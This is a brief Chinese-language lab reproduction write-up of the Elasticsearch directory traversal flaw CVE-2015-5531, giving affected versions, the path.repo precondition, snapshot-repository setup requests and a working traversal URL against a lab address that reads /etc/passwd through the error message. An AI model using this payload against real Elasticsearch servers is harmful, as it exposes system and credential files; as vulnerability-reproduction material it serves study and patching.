ElasticSearch 目录穿越漏洞(CVE-2015-5531)
jre版本:openjdk:8-jre
elasticsearch版本:v1.6.0
影响版本:1.6.1以下
参考文章
说明:
elasticsearch 1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo
,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。
漏洞复现
1. 新建一个仓库
1 | PUT /_snapshot/test HTTP/1.1 |
2. 创建一个快照
1 | PUT /_snapshot/test2 HTTP/1.1 |
3. 目录穿越读取任意文件
访问 http://192.168.44.132:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
如上图,在错误信息中包含文件内容(ascii编码后),对其进行解码即可获得文件: